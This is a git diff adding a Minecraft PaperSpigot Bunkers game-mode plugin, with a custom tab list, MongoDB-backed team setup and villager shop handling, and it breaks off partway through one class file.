diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..dfe0770 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto diff --git a/Bunkers/pom.xml b/Bunkers/pom.xml new file mode 100644 index 0000000..f93be76 --- /dev/null +++ b/Bunkers/pom.xml @@ -0,0 +1,75 @@ + + + 4.0.0 + me.javaee.bunkers + Bunkers + 1.0-SNAPSHOT + + + + org.apache.maven.plugins + maven-shade-plugin + + + package + + shade + + + + + ${artifactId}-${version} + + + org.mongodb:mongo-java-driver + com.google.code.gson:gson + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 1.8 + 1.8 + UTF-8 + + + + + + + org.github.paperspigot + paperspigot-api + 1.7.10-R0.1-SNAPSHOT + + + org.github.paperspigot + paperspigot + 1.7.10-R0.1-SNAPSHOT + + + org.mongodb + mongo-java-driver + 3.5.0 + + + com.google.code.gson + gson + 2.8.2 + + + org.projectlombok + lombok + 1.16.18 + + + com.comphenix.protocol + ProtocolLib + 4.4.0-SNAPSHOT + + + \ No newline at end of file diff --git a/Bunkers/src/main/java/com/bizarrealex/azazel/Azazel.java b/Bunkers/src/main/java/com/bizarrealex/azazel/Azazel.java new file mode 100644 index 0000000..8d88495 --- /dev/null +++ b/Bunkers/src/main/java/com/bizarrealex/azazel/Azazel.java @@ -0,0 +1,89 @@ +package com.bizarrealex.azazel; + +import com.bizarrealex.azazel.tab.Tab; +import com.bizarrealex.azazel.tab.TabAdapter; +import lombok.Getter; +import lombok.Setter; +import net.minecraft.server.v1_7_R4.EntityPlayer; +import net.minecraft.server.v1_7_R4.PacketPlayOutPlayerInfo; +import org.bukkit.Bukkit; +import org.bukkit.craftbukkit.v1_7_R4.entity.CraftPlayer; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.player.PlayerJoinEvent; +import org.bukkit.event.player.PlayerQuitEvent; +import org.bukkit.plugin.java.JavaPlugin; +import org.bukkit.scheduler.BukkitRunnable; + +import java.util.Map; +import java.util.UUID; +import java.util.concurrent.ConcurrentHashMap; + +public class Azazel implements Listener { + @Getter private final JavaPlugin plugin; + private final Map tabs; + @Getter @Setter private TabAdapter adapter; + + public Azazel(JavaPlugin plugin) { + this.plugin = plugin; + this.tabs = new ConcurrentHashMap<>(); + + if (Bukkit.getMaxPlayers() < 60) { + Bukkit.getLogger().severe("There aren't 60 player slots, this will fuck up the tab list."); //TODO: Possibly set max players to 60? + } + + for (Player player : Bukkit.getOnlinePlayers()) { + if (!(tabs.containsKey(player.getUniqueId()))) { + tabs.put(player.getUniqueId(), new Tab(player, true, this)); + } + } + + new AzazelTask(this, plugin); + + Bukkit.getPluginManager().registerEvents(this, plugin); + } + + public Azazel(JavaPlugin plugin, TabAdapter adapter) { + this(plugin); + + this.adapter = adapter; + } + + public Tab getTabByPlayer(Player player) { + return tabs.get(player.getUniqueId()); + } + + @EventHandler + public void onPlayerJoinEvent(PlayerJoinEvent event) { + for (Player player : Bukkit.getOnlinePlayers()) { + PacketPlayOutPlayerInfo packet = PacketPlayOutPlayerInfo.removePlayer(((CraftPlayer) event.getPlayer()).getHandle()); + ((CraftPlayer) player).getHandle().playerConnection.sendPacket(packet); + } + + new BukkitRunnable() { + @Override + public void run() { + tabs.put(event.getPlayer().getUniqueId(), new Tab(event.getPlayer(), true, Azazel.this)); + } + }.runTaskLater(plugin, 20L); + } + + @EventHandler + public void onPlayerQuitEvent(PlayerQuitEvent event) { + tabs.remove(event.getPlayer().getUniqueId()); + + for (Player other : Bukkit.getOnlinePlayers()) { + EntityPlayer entityPlayer = ((CraftPlayer) other).getHandle(); + + if (entityPlayer.playerConnection.networkManager.getVersion() >= 47) { + Tab tab = getTabByPlayer(event.getPlayer()); + + if (tab != null && tab.getElevatedTeam() != null) { + tab.getElevatedTeam().removeEntry(event.getPlayer().getName()); + } + } + + } + } +} diff --git a/Bunkers/src/main/java/com/bizarrealex/azazel/AzazelTask.java b/Bunkers/src/main/java/com/bizarrealex/azazel/AzazelTask.java new file mode 100644 index 0000000..f327131 --- /dev/null +++ b/Bunkers/src/main/java/com/bizarrealex/azazel/AzazelTask.java @@ -0,0 +1,104 @@ +package com.bizarrealex.azazel; + +import com.bizarrealex.azazel.tab.TabTemplate; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.entity.Player; +import org.bukkit.plugin.java.JavaPlugin; +import org.bukkit.scheduler.BukkitRunnable; +import org.bukkit.scoreboard.Team; +import com.bizarrealex.azazel.tab.Tab; +import com.bizarrealex.azazel.tab.TabAdapter; + +import java.util.*; + +/* + TODO: Clean this thing up + */ +public class AzazelTask extends BukkitRunnable { + + private final Azazel azazel; + + public AzazelTask(Azazel azazel, JavaPlugin plugin) { + this.azazel = azazel; + + runTaskTimerAsynchronously(plugin, 2L, 2L); + } + + @Override + public void run() { + TabAdapter adapter = azazel.getAdapter(); + if (adapter != null) { + for (Player player : Bukkit.getOnlinePlayers()) { + Tab tab = azazel.getTabByPlayer(player); + if (tab != null) { + TabTemplate template = adapter.getTemplate(player); + + if (template == null || (template.getLeft().isEmpty() && template.getMiddle().isEmpty() && template.getRight().isEmpty())) { + for (Tab.TabEntryPosition position : tab.getPositions()) { + Team team = player.getScoreboard().getTeam(position.getKey()); + if (team != null) { + if (team.getPrefix() != null && !team.getPrefix().isEmpty()) { + team.setPrefix(""); + } + if (team.getSuffix() != null && !team.getSuffix().isEmpty()) { + team.setSuffix(""); + } + } + } + continue; + } + + for (int i = 0; i < 20 - template.getLeft().size(); i++) { + template.left(""); + } + + for (int i = 0; i < 20 - template.getMiddle().size(); i++) { + template.middle(""); + } + + for (int i = 0; i < 20 - template.getRight().size(); i++) { + template.right(""); + } + + List> rows = Arrays.asList(template.getLeft(), template.getMiddle(), template.getRight(), template.getFarRight()); + for (int l = 0; l < rows.size(); l++) { + for (int i = 0; i < rows.get(l).size(); i++) { + Team team = tab.getByLocation(l, i); + if (team != null) { + Map.Entry prefixAndSuffix = getPrefixAndSuffix(rows.get(l).get(i)); + String prefix = prefixAndSuffix.getKey(); + String suffix = prefixAndSuffix.getValue(); + + if (team.getPrefix().equals(prefix) && team.getSuffix().equals(suffix)) { + continue; + } + + team.setPrefix(prefix); + team.setSuffix(suffix); + } + } + } + } + } + } + } + + private Map.Entry getPrefixAndSuffix(String text) { + String prefix, suffix; + + text = ChatColor.translateAlternateColorCodes('&', text); + + if (text.length() > 16){ + int splitAt = text.charAt(15) == ChatColor.COLOR_CHAR ? 15 : 16; + prefix = text.substring(0, splitAt); + String suffixTemp = ChatColor.getLastColors(prefix) + text.substring(splitAt); + suffix = (suffixTemp.substring(0, Math.min(suffixTemp.length(), 16))); + } else { + prefix = text; + suffix = ""; + } + + return new AbstractMap.SimpleEntry<>(prefix, suffix); + } +} diff --git a/Bunkers/src/main/java/com/bizarrealex/azazel/tab/Tab.java b/Bunkers/src/main/java/com/bizarrealex/azazel/tab/Tab.java new file mode 100644 index 0000000..3ad49b8 --- /dev/null +++ b/Bunkers/src/main/java/com/bizarrealex/azazel/tab/Tab.java @@ -0,0 +1,221 @@ +package com.bizarrealex.azazel.tab; + +import com.bizarrealex.azazel.Azazel; +import lombok.Getter; +import lombok.Setter; +import net.minecraft.server.v1_7_R4.Packet; +import net.minecraft.server.v1_7_R4.PacketPlayOutPlayerInfo; +import net.minecraft.util.com.mojang.authlib.GameProfile; +import net.minecraft.util.com.mojang.authlib.properties.Property; +import org.apache.commons.lang.StringUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.craftbukkit.v1_7_R4.entity.CraftPlayer; +import org.bukkit.entity.Player; +import org.bukkit.scoreboard.Scoreboard; +import org.bukkit.scoreboard.Team; + +import java.lang.reflect.Field; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; + +public class Tab { + + @Getter private Scoreboard scoreboard; + @Getter @Setter private Team elevatedTeam; + private Map entries; + + public Tab(Player player, boolean hook, Azazel azazel) { + this.entries = new ConcurrentHashMap<>(); + + scoreboard = Bukkit.getScoreboardManager().getNewScoreboard(); + if (hook && !player.getScoreboard().equals(Bukkit.getScoreboardManager().getMainScoreboard())) { + scoreboard = player.getScoreboard(); + } + + elevatedTeam = scoreboard.registerNewTeam(getBlanks().get(getBlanks().size() - 1)); + + for (Player other : Bukkit.getOnlinePlayers()) { + + getElevatedTeam(other, azazel).addEntry(other.getName()); + + Tab tab = azazel.getTabByPlayer(other); + if (tab != null) { + tab.getElevatedTeam(player, azazel).addEntry(player.getName()); + } + + PacketPlayOutPlayerInfo packet = PacketPlayOutPlayerInfo.removePlayer(((CraftPlayer) other).getHandle()); + ((CraftPlayer) player).getHandle().playerConnection.sendPacket(packet); + } + + player.setScoreboard(scoreboard); + + initialize(player); + } + + public Team getElevatedTeam(Player player, Azazel azazel) { + if (player.hasMetadata("HydrogenPrefix")) { + String prefix = ChatColor.getLastColors(player.getDisplayName().replace(ChatColor.RESET + "", "")); + + String name = getBlanks().get(getBlanks().size() - 1) + prefix; + if (name.length() > 16) { + name = name.substring(0, 15); + } + + Team team = scoreboard.getTeam(name); + + if (team == null) { + team = scoreboard.registerNewTeam(name); + + team.setPrefix(prefix); + + } + + return team; + } + + return elevatedTeam; + } + + public Set getPositions() { + return entries.keySet(); + } + + public Team getByLocation(int x, int y) { + for (TabEntryPosition position : entries.keySet()) { + if (position.getX() == x && position.getY() == y) { + return scoreboard.getTeam(position.getKey()); + } + } + return null; + } + + private void initialize(Player player) { + if (((CraftPlayer) player).getHandle().playerConnection.networkManager.getVersion() >= 47) { + for (int x = 0; x < 4; x++) { + for (int y = 0; y < 20; y++) { + String key = getNextBlank(); + TabEntryPosition position = new TabEntryPosition(x, y, key, scoreboard); + + entries.put(position, key); + + ((CraftPlayer) player).getHandle().playerConnection.sendPacket(getPlayerPacket(entries.get(position))); + + Team team = scoreboard.getTeam(position.getKey()); + + if (team == null) { + team = scoreboard.registerNewTeam(position.getKey()); + } + + team.addEntry(entries.get(position)); + } + } + } else { + for (int i = 0; i < 60; i++) { + int x = i % 3; + int y = i / 3; + + String key = getNextBlank(); + TabEntryPosition position = new TabEntryPosition(x, y, key, scoreboard); + entries.put(position, key); + + ((CraftPlayer) player).getHandle().playerConnection.sendPacket(getPlayerPacket(entries.get(position))); + + Team team = scoreboard.getTeam(position.getKey()); + + if (team == null) { + team = scoreboard.registerNewTeam(position.getKey()); + } + + team.addEntry(entries.get(position)); + } + } + } + + private String getNextBlank() { + outer: + for (String blank : getBlanks()) { + + if (scoreboard.getTeam(blank) != null) { + continue; + } + + for (String identifier : entries.values()) { + if (identifier.equals(blank)) { + continue outer; + } + } + return blank; + } + return null; + } + + public List getBlanks() { + List toReturn = new ArrayList<>(); + + for (ChatColor color : ChatColor.values()) { + for (int i = 0; i < 4; i++) { + + String identifier = StringUtils.repeat(color + "", 4 - i) + ChatColor.RESET; + toReturn.add(identifier); + } + } + + return toReturn; + } + + + /* + There should be a better way to do this without reflection + */ + private static Packet getPlayerPacket(String name) { + return getPlayerPacket(name, 1); + } + + private static Packet getPlayerPacket(String name, int ping) { + PacketPlayOutPlayerInfo packet = new PacketPlayOutPlayerInfo(); + + Field action; + Field username; + Field player; + Field latency; + try { + action = PacketPlayOutPlayerInfo.class.getDeclaredField("action"); + username = PacketPlayOutPlayerInfo.class.getDeclaredField("username"); + player = PacketPlayOutPlayerInfo.class.getDeclaredField("player"); + latency = PacketPlayOutPlayerInfo.class.getDeclaredField("ping"); + + action.setAccessible(true); + username.setAccessible(true); + player.setAccessible(true); + latency.setAccessible(true); + + action.set(packet, 0); + username.set(packet, name); + latency.set(packet, ping); + + GameProfile profile = new GameProfile(UUID.randomUUID(), name); + profile.getProperties().put("textures", new Property("textures", "eyJ0aW1lc3RhbXAiOjE0MTEyNjg3OTI3NjUsInByb2ZpbGVJZCI6IjNmYmVjN2RkMGE1ZjQwYmY5ZDExODg1YTU0NTA3MTEyIiwicHJvZmlsZU5hbWUiOiJsYXN0X3VzZXJuYW1lIiwidGV4dHVyZXMiOnsiU0tJTiI6eyJ1cmwiOiJodHRwOi8vdGV4dHVyZXMubWluZWNyYWZ0Lm5ldC90ZXh0dXJlLzg0N2I1Mjc5OTg0NjUxNTRhZDZjMjM4YTFlM2MyZGQzZTMyOTY1MzUyZTNhNjRmMzZlMTZhOTQwNWFiOCJ9fX0=", "u8sG8tlbmiekrfAdQjy4nXIcCfNdnUZzXSx9BE1X5K27NiUvE1dDNIeBBSPdZzQG1kHGijuokuHPdNi/KXHZkQM7OJ4aCu5JiUoOY28uz3wZhW4D+KG3dH4ei5ww2KwvjcqVL7LFKfr/ONU5Hvi7MIIty1eKpoGDYpWj3WjnbN4ye5Zo88I2ZEkP1wBw2eDDN4P3YEDYTumQndcbXFPuRRTntoGdZq3N5EBKfDZxlw4L3pgkcSLU5rWkd5UH4ZUOHAP/VaJ04mpFLsFXzzdU4xNZ5fthCwxwVBNLtHRWO26k/qcVBzvEXtKGFJmxfLGCzXScET/OjUBak/JEkkRG2m+kpmBMgFRNtjyZgQ1w08U6HHnLTiAiio3JswPlW5v56pGWRHQT5XWSkfnrXDalxtSmPnB5LmacpIImKgL8V9wLnWvBzI7SHjlyQbbgd+kUOkLlu7+717ySDEJwsFJekfuR6N/rpcYgNZYrxDwe4w57uDPlwNL6cJPfNUHV7WEbIU1pMgxsxaXe8WSvV87qLsR7H06xocl2C0JFfe2jZR4Zh3k9xzEnfCeFKBgGb4lrOWBu1eDWYgtKV67M2Y+B3W5pjuAjwAxn0waODtEn/3jKPbc/sxbPvljUCw65X+ok0UUN1eOwXV5l2EGzn05t3Yhwq19/GxARg63ISGE8CKw=")); + + player.set(packet, profile); + } catch (NoSuchFieldException e) { + e.printStackTrace(); + return null; + } catch (IllegalAccessException e) { + e.printStackTrace(); + } + + return packet; + } + + public static class TabEntryPosition { + @Getter private final int x, y; + @Getter private final String key; + + public TabEntryPosition(int x, int y, String key, Scoreboard scoreboard) { + this.x = x; + this.y = y; + this.key = key; + } + } +} diff --git a/Bunkers/src/main/java/com/bizarrealex/azazel/tab/TabAdapter.java b/Bunkers/src/main/java/com/bizarrealex/azazel/tab/TabAdapter.java new file mode 100644 index 0000000..8957fac --- /dev/null +++ b/Bunkers/src/main/java/com/bizarrealex/azazel/tab/TabAdapter.java @@ -0,0 +1,9 @@ +package com.bizarrealex.azazel.tab; + +import org.bukkit.entity.Player; + +public interface TabAdapter { + + TabTemplate getTemplate(Player player); + +} diff --git a/Bunkers/src/main/java/com/bizarrealex/azazel/tab/TabTemplate.java b/Bunkers/src/main/java/com/bizarrealex/azazel/tab/TabTemplate.java new file mode 100644 index 0000000..0bb51ea --- /dev/null +++ b/Bunkers/src/main/java/com/bizarrealex/azazel/tab/TabTemplate.java @@ -0,0 +1,80 @@ +package com.bizarrealex.azazel.tab; + +import lombok.Getter; + +import java.util.ArrayList; +import java.util.List; + +public class TabTemplate { + + @Getter private final List left; + @Getter private final List middle; + @Getter private final List right; + @Getter private final List farRight; + + public TabTemplate() { + left = new ArrayList<>(); + middle = new ArrayList<>(); + right = new ArrayList<>(); + farRight = new ArrayList<>(); + } + + /* + Will only display on 1.8 clients + */ + public TabTemplate farRight(String string) { + return farRight(farRight.size(), string); + } + + public TabTemplate farRight(int index, String string) { + if (index > farRight.size()) { + for (int i = farRight.size(); i < index; i++) { + farRight.add(""); + } + } + farRight.add(index, string); + return this; + } + + public TabTemplate left(String string) { + return left(left.size(), string); + } + + public TabTemplate middle(String string) { + return middle(middle.size(), string); + } + + public TabTemplate right(String string) { + return right(right.size(), string); + } + + public TabTemplate left(int index, String string) { + if (index > left.size()) { + for (int i = left.size(); i < index; i++) { + left.add(""); + } + } + left.add(index, string); + return this; + } + + public TabTemplate middle(int index, String string) { + if (index > middle.size()) { + for (int i = middle.size(); i < index; i++) { + middle.add(""); + } + } + middle.add(index, string); + return this; + } + + public TabTemplate right(int index, String string) { + if (index > right.size()) { + for (int i = right.size(); i < index; i++) { + right.add(""); + } + } + right.add(index, string); + return this; + } +} diff --git a/Bunkers/src/main/java/com/bizarrealex/azazel/tab/example/ExampleTabAdapter.java b/Bunkers/src/main/java/com/bizarrealex/azazel/tab/example/ExampleTabAdapter.java new file mode 100644 index 0000000..014b876 --- /dev/null +++ b/Bunkers/src/main/java/com/bizarrealex/azazel/tab/example/ExampleTabAdapter.java @@ -0,0 +1,99 @@ +package com.bizarrealex.azazel.tab.example; + +import com.bizarrealex.azazel.tab.TabAdapter; +import com.bizarrealex.azazel.tab.TabTemplate; +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.information.Information; +import me.redis.bunkers.tasks.GameTimeTask; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.BukkitUtils; +import net.minecraft.util.org.apache.commons.lang3.time.DurationFormatUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.entity.Player; + +import java.lang.management.ManagementFactory; +import java.text.DecimalFormat; +import java.util.UUID; + +public class ExampleTabAdapter implements TabAdapter { + Information information = Bunkers.getPlugin().getInformationManager().getInformation(); + + public TabTemplate getTemplate(Player player) { + TabTemplate template = new TabTemplate(); + + template.left(0, "&6&l" + information.getServerName()); + template.middle(0, "&e&lBunkers"); + template.right(0, "&6&l" + information.getServerName()); + + if (Bunkers.getPlugin().getTeamManager().getByPlayer(player) != null) { + Team team = Bunkers.getPlugin().getTeamManager().getByPlayer(player); + + template.left(2, "&6&lTeam Info"); + template.left(3, "&eDTR&7: &f" + team.getDtr()); + template.left(4, "&eOnline&7: &f" + team.getMembers().size()); + } else { + template.left(2, "&6&lTeam Info"); + template.left(3, "&eSelect a team..."); + } + + template.left(6, "&6&lLocation"); + if (Bunkers.getPlugin().getTeamManager().getByLocation(player.getLocation()) == null) { + template.left(7, "&4Warzone"); + } else { + template.left(7, Bunkers.getPlugin().getTeamManager().getByLocation(player.getLocation()).getColor() + Bunkers.getPlugin().getTeamManager().getByLocation(player.getLocation()).getName() + " Base"); + } + template.left(8, "(" + player.getLocation().getBlockX() + ", " + player.getLocation().getBlockZ() + ")"); + + template.left(10, "&6&lGame Info"); + template.left(11, "&eKoth&7: &f" + (GameTimeTask.getNumOfSeconds() < 300 ? "Starts in " + BukkitUtils.niceTime(300 - GameTimeTask.getNumOfSeconds(), false) : BukkitUtils.niceTime(Bunkers.getPlugin().getKoth().getCapSeconds(), false))); + + template.left(13, "&6&lTeams DTR"); + template.left(14, "&cRed&7: &f" + Bunkers.getPlugin().getTeamManager().getByName("Red").getDtr()); + template.left(15, "&9Blue&7: &f" + Bunkers.getPlugin().getTeamManager().getByName("Blue").getDtr()); + template.left(16, "&aGreen&7: &f" + Bunkers.getPlugin().getTeamManager().getByName("Green").getDtr()); + template.left(17, "&eYellow&7: &f" + Bunkers.getPlugin().getTeamManager().getByName("Yellow").getDtr()); + + template.middle(2, "&c&lRed Team"); + for (String member : Bunkers.getPlugin().getTeamManager().getByName("Red").getMembersNames()) { + if (member != null) { + template.middle("&c" + member); + } + } + + template.middle(10, "&a&lGreen Team"); + for (String member : Bunkers.getPlugin().getTeamManager().getByName("Green").getMembersNames()) { + if (member != null) { + template.middle("&a" + member); + } + } + + template.right(2, "&9&lBlue Team"); + for (String member : Bunkers.getPlugin().getTeamManager().getByName("Blue").getMembersNames()) { + if (member != null) { + template.right("&9" + member); + } + } + + template.right(10, "&e&lYellow Team"); + for (String member : Bunkers.getPlugin().getTeamManager().getByName("Yellow").getMembersNames()) { + if (member != null) { + template.right("&e" + member); + } + } + + if (player.hasPermission("bunkers.admin")) { + template.farRight(2, "&6&lServer Information"); + template.farRight("&eTicks Per Sec&7: &f" + new DecimalFormat("#.##").format(Bukkit.spigot().getTPS()[0])); + template.farRight("&ePerformance&7: &f" + new DecimalFormat("#.##").format(getLag()) + "%"); + template.farRight("&eRam&7: &f" + ((Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory()) / 1048576L) + "/" + Runtime.getRuntime().totalMemory() / 1048576L + "MB"); + } + + return template; + } + + public double getLag() { + return (Bukkit.spigot().getTPS()[0] / 20 * 100 > 100 ? 100 : Bukkit.spigot().getTPS()[0] / 20 * 100); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/Bunkers.java b/Bunkers/src/main/java/me/redis/bunkers/Bunkers.java new file mode 100644 index 0000000..ac94eb0 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/Bunkers.java @@ -0,0 +1,111 @@ +package me.redis.bunkers; + +import com.bizarrealex.azazel.Azazel; +import com.bizarrealex.azazel.tab.example.ExampleTabAdapter; +import com.mongodb.MongoClient; +import com.mongodb.client.MongoCollection; +import com.mongodb.client.MongoDatabase; +import lombok.Getter; +import me.redis.bunkers.entity.EntityManager; +import me.redis.bunkers.game.GameManager; +import me.redis.bunkers.game.status.GameStatus; +import me.redis.bunkers.information.InformationManager; +import me.redis.bunkers.koth.Koth; +import me.redis.bunkers.listeners.DeathMessageListener; +import me.redis.bunkers.listeners.PlayerListeners; +import me.redis.bunkers.profiles.ProfileManager; +import me.redis.bunkers.protocol.ProtocolListener; +import me.redis.bunkers.scoreboard.Aether; +import me.redis.bunkers.scoreboard.sidebars.BunkersSidebar; +import me.redis.bunkers.spectator.Spectator; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.team.TeamManager; +import me.redis.bunkers.timer.TimerManager; +import me.redis.bunkers.utils.command.CommandRegistrer; +import me.redis.bunkers.wand.WandManager; +import org.bukkit.Bukkit; +import org.bukkit.World; +import org.bukkit.entity.Entity; +import org.bukkit.plugin.java.JavaPlugin; + +import java.io.IOException; + +@Getter +public class Bunkers extends JavaPlugin { + @Getter private static Bunkers plugin; + + private MongoClient mongoClient; + private MongoDatabase mongoDatabase; + + private MongoCollection informationCollection; + private InformationManager informationManager; + + private MongoCollection teamsCollection; + private TeamManager teamManager; + + private MongoCollection profilesCollection; + private ProfileManager profileManager; + + private WandManager wandManager; + private GameManager gameManager; + private Koth koth; + private TimerManager timerManager; + private Spectator spectatorManager; + private EntityManager entityManager; + private Azazel azazel; + + @Override + public void onEnable() { + plugin = this; + + for (World world : Bukkit.getWorlds()) { + for (Entity entity : world.getEntities()) { + entity.remove(); + } + + world.setGameRuleValue("doMobSpawning", "false"); + world.setGameRuleValue("doDayLightCycle", "false"); + world.setTime(0); + } + + /* Initialize Mongo first*/ + mongoClient = new MongoClient(getConfig().getString("DATABASE.AUTH.HOST"), getConfig().getInt("DATABASE.AUTH.PORT")); + mongoDatabase = mongoClient.getDatabase(getConfig().getString("DATABASE.NAME")); + + informationCollection = mongoDatabase.getCollection(getConfig().getString("DATABASE.COLLECTIONS.INFORMATION")); + teamsCollection = mongoDatabase.getCollection(getConfig().getString("DATABASE.COLLECTIONS.TEAMS")); + profilesCollection = mongoDatabase.getCollection(getConfig().getString("DATABASE.COLLECTIONS.PROFILES")); + /* Initialize Mongo first*/ + + teamManager = new TeamManager(); + try { + teamManager.nig(); + } catch (IOException e) { + e.printStackTrace(); + } + informationManager = new InformationManager(); + profileManager = new ProfileManager(); + wandManager = new WandManager(); + gameManager = new GameManager(); + gameManager.setStatus(GameStatus.WAITING); + + koth = new Koth(); + timerManager = new TimerManager(this); + spectatorManager = new Spectator(); + entityManager = new EntityManager(); + + new CommandRegistrer(); + new ProtocolListener(); + + Bukkit.getPluginManager().registerEvents(new PlayerListeners(), this); + Bukkit.getPluginManager().registerEvents(new DeathMessageListener(), this); + + new Aether(this, new BunkersSidebar(this)); + azazel = new Azazel(this, new ExampleTabAdapter()); + } + + @Override + public void onDisable() { + teamManager.getTeams().values().forEach(Team::save); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/entity/EntityManager.java b/Bunkers/src/main/java/me/redis/bunkers/entity/EntityManager.java new file mode 100644 index 0000000..e30aad3 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/entity/EntityManager.java @@ -0,0 +1,123 @@ +package me.redis.bunkers.entity; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.entity.types.BuildEntity; +import me.redis.bunkers.entity.types.CombatEntity; +import me.redis.bunkers.entity.types.EnchantEntity; +import me.redis.bunkers.entity.types.SellEntity; +import me.redis.bunkers.menu.MenuListener; +import me.redis.bunkers.menu.menu.BuildMenu; +import me.redis.bunkers.menu.menu.CombatMenu; +import me.redis.bunkers.menu.menu.EnchanterMenu; +import me.redis.bunkers.menu.menu.SellMenu; +import me.redis.bunkers.team.Team; +import me.redis.bunkers.utils.BukkitUtils; +import me.redis.bunkers.utils.LocationUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.entity.Entity; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Player; +import org.bukkit.entity.Villager; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.EntityDamageEvent; +import org.bukkit.event.entity.EntityDeathEvent; +import org.bukkit.event.player.PlayerInteractEntityEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; +import org.bukkit.scheduler.BukkitRunnable; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Map; + +public class EntityManager implements Listener { + public Map killedVillagers = new HashMap<>(); + + public EntityManager() { + Bukkit.getPluginManager().registerEvents(this, Bunkers.getPlugin()); + Bukkit.getPluginManager().registerEvents(new MenuListener(), Bunkers.getPlugin()); + } + + @EventHandler + public void onInteract(PlayerInteractEntityEvent event) { + Player player = event.getPlayer(); + + if (event.getRightClicked() != null && event.getRightClicked() instanceof Villager && ((Villager) event.getRightClicked()).getCustomName() != null) { + String name = ChatColor.stripColor(((Villager) event.getRightClicked()).getCustomName()); + + if (name.toLowerCase().contains("combat")) { + new CombatMenu(player).open(player); + } else if (name.toLowerCase().contains("sell")) { + new SellMenu(player).open(player); + } else if (name.toLowerCase().contains("build")) { + new BuildMenu(player).open(player); + } else if (name.toLowerCase().contains("enchant")) { + new EnchanterMenu(player).open(player); + } + + event.setCancelled(true); + } + } + + @EventHandler + public void onDamage(EntityDamageEvent event) { + if (event.getEntity() instanceof Villager && ((Villager) event.getEntity()).getCustomName() != null && ((Villager) event.getEntity()).getCustomName().toLowerCase().contains("dead")) + event.setCancelled(true); + } + + @EventHandler + public void onEntityDeath(EntityDeathEvent event) { + if (event.getEntity() instanceof Villager && event.getEntity().getCustomName() != null) { + if (event.getEntity().getCustomName().toLowerCase().contains("combat") || event.getEntity().getCustomName().toLowerCase().contains("enchant") || event.getEntity().getCustomName().toLowerCase().contains("build") || event.getEntity().getCustomName().toLowerCase().contains("sell")) { + final int[] counter = {15}; + ShopType type = null; + + if (event.getEntity().getCustomName().toLowerCase().contains("combat")) type = ShopType.COMBAT; + else if (event.getEntity().getCustomName().toLowerCase().contains("enchant")) type = ShopType.ENCHANT; + else if (event.getEntity().getCustomName().toLowerCase().contains("sell")) type = ShopType.SELL; + else if (event.getEntity().getCustomName().toLowerCase().contains("build")) type = ShopType.BUILD; + + killedVillagers.put(event.getEntity(), type); + + Villager villager = (Villager) event.getEntity().getLocation().getWorld().spawnEntity(event.getEntity().getLocation(), EntityType.VILLAGER); + villager.setFallDistance(0); + villager.setRemoveWhenFarAway(false); + villager.setAdult(); + villager.setProfession(Villager.Profession.BLACKSMITH); + villager.setCanPickupItems(false); + villager.setMaxHealth(40); + villager.setHealth(40); + villager.setCustomNameVisible(true); + villager.addPotionEffect(new PotionEffect(PotionEffectType.SPEED, Integer.MAX_VALUE, -6, true), true); + + new BukkitRunnable() { + @Override public void run() { + if (counter[0] <= 0) { + Team team = Bunkers.getPlugin().getTeamManager().getByColor(ChatColor.getByChar(ChatColor.getLastColors(event.getEntity().getCustomName()).replace("ยง", "").replace("&", ""))); + if (killedVillagers.get(event.getEntity()) == ShopType.SELL) { + new SellEntity(team, LocationUtils.getLocation(team.getSellShop())); + } else if (killedVillagers.get(event.getEntity()) == ShopType.BUILD) { + new BuildEntity(team, LocationUtils.getLocation(team.getBuildShop())); + } else if (killedVillagers.get(event.getEntity()) == ShopType.ENCHANT) { + new EnchantEntity(team, LocationUtils.getLocation(team.getEnchantShop())); + } else if (killedVillagers.get(event.getEntity()) == ShopType.COMBAT) { + new CombatEntity(team, LocationUtils.getLocation(team.getCombatShop())); + } + + killedVillagers.remove(event.getEntity()); + villager.remove(); + + cancel(); + return; + } + + villager.setCustomName(ChatColor.RED + "Dead for" + ChatColor.GRAY + ": " + ChatColor.WHITE + BukkitUtils.niceTime(counter[0], false)); + counter[0]--; + } + }.runTaskTimer(Bunkers.getPlugin(), 0L, 20L); + } + } + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/entity/ShopType.java b/Bunkers/src/main/java/me/redis/bunkers/entity/ShopType.java new file mode 100644 index 0000000..f7a3aad --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/entity/ShopType.java @@ -0,0 +1,5 @@ +package me.redis.bunkers.entity; + +public enum ShopType { + COMBAT, SELL, BUILD, ENCHANT +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/entity/types/BuildEntity.java b/Bunkers/src/main/java/me/redis/bunkers/entity/types/BuildEntity.java new file mode 100644 index 0000000..06eaa36 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/entity/types/BuildEntity.java @@ -0,0 +1,36 @@ +package me.redis.bunkers.entity.types; + +import lombok.Getter; +import lombok.Setter; +import me.redis.bunkers.entity.ShopType; +import me.redis.bunkers.team.Team; +import org.bukkit.Location; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Villager; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@Getter +public class BuildEntity { + 